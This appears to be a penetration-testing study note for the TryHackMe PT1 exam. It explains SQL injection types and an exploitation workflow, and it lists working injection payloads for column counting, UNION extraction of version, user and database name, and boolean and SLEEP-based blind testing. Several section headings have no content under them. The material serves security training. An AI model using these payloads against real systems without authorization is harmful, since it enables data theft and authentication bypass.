SQL Injection (SQLi)

Platform: TryHackMe- Topic: SQL Injection- PT1 Exam Preparation

Overview

SQL Injection (SQLi) happens when attacker-controlled input is used to build a database query without safe parameterization. Impact ranges from data disclosure to authentication bypass and (in some cases) RCE via DB features.

PT1 focus: quickly identify SQLi type (error/union/boolean/time), confirm impact, and document a clean reproduction + remediation.

Databases (quick context)

Detection: SQLi types (high-signal)

Baseline first: capture a normal request/response and compare size/status/time when you test payloads.

Error-based SQLi

UNION-based SQLi (data extraction)

Boolean-based blind SQLi

Time-based blind SQLi

Exploitation workflow (exam-ready)

  1. Find injection point: query param, POST body, header, cookie.
  2. Confirm controllability: quote break / boolean flip / timing.
  3. Figure out column count (for UNION): increment ORDER BY or UNION NULLs.
  4. Find reflected column(s): replace NULL with marker values.
  5. Extract essentials: DB/user/version → table names → columns → target data.

Rule: prove impact with minimal data. Don’t dump everything. Capture evidence.

Payload snippets (keep it practical)

Column count

1' ORDER BY 1-- -
1' ORDER BY 2-- -
1' ORDER BY 3-- -

UNION skeleton

1' UNION SELECT NULL-- -
1' UNION SELECT NULL,NULL-- -
1' UNION SELECT NULL,NULL,NULL-- -

Find visible column

1' UNION SELECT 'INJECT',NULL,NULL-- -
1' UNION SELECT NULL,'INJECT',NULL-- -

Useful info

-- MySQL-ish examples
1' UNION SELECT @@version, user(), database()-- -

Blind boolean

1' AND 1=1-- -
1' AND 1=2-- -

Blind time

1' AND SLEEP(5)-- -
1' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -

Cheat sheet: if you need more payload variants: payload-box/sql-injection-payload-list

Remediation (what to write in the report)

Exam Notes (PT1)